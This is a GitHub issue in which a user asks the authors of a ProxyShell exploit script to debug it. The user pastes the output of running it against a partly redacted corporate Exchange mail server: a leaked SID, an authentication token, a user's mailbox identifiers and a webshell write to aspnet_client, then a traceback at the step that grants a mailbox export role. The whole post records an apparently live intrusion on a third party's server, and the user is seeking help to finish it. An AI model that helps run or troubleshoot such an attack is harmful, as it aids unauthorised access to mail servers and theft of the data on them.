Skip to content

error on step : write webshell at aspnet_client/file.aspx #13

Description

@striker89

Hello;
I would like to thank you first guys for sharing. you are doing an amazing job.
I am getting the below errors during the script execution:

``python3 proxyshell.py -t mail.xxx.com
fqdn sydexmb05.xxx.local

  • A.BASSOP@xxx.cm
    legacyDN /o=xxxEXCH/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=06a9e72fb0e645b6bb1c3a0f267e6b82-A BASSOP
    leak_sid S-1-5-21-1025108317-2912364014-3645357861-4443
    token VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBJBLkJBU1NPUEBjYW10ZWwuY21VLlMtMS01LTIxLTEwMjUxMDgzMTctMjkxMjM2NDAxNC0zNjQ1MzU3ODYxLTQ0NDNHAQAAAAcAAAAMUy0xLTUtMzItNTQ0RQAAAAA=
    set_ews Success with subject edosluwomhgoovgt
    write webshell at aspnet_client/aztyv.aspx
    Traceback (most recent call last):
    File "/home/kali/Downloads/proxyshell/proxyshell.py", line 427, in
    main()
    File "/home/kali/Downloads/proxyshell/proxyshell.py", line 395, in main
    shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user}"', local_port)
    File "/home/kali/Downloads/proxyshell/proxyshell.py", line 336, in shell
    output = ps.invoke()
    File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1102, in invoke
    return self.end_invoke()
    File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1078, in end_invoke
    self.poll_invoke()
    File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1252, in poll_invoke
    responses = self.runspace_pool._receive(self.id,
    File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 640, in _receive
    response = self.shell.receive("stdout", command_id=command_id,
    File "/usr/lib/python3/dist-packages/pypsrp/shell.py", line 238, in receive
    response = self.wsman.receive(self.resource_uri, receive,
    File "/usr/lib/python3/dist-packages/pypsrp/wsman.py", line 311, in receive
    res = self.invoke(WSManAction.RECEIVE, resource_uri, resource,
    File "/usr/lib/python3/dist-packages/pypsrp/wsman.py", line 400, in invoke
    response_xml = ET.fromstring(response)
    File "/usr/lib/python3.9/xml/etree/ElementTree.py", line 1348, in XML
    return parser.close()
    xml.etree.ElementTree.ParseError: no element found: line 1, column 0

    I am a complete nmap noob - please can you help?

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions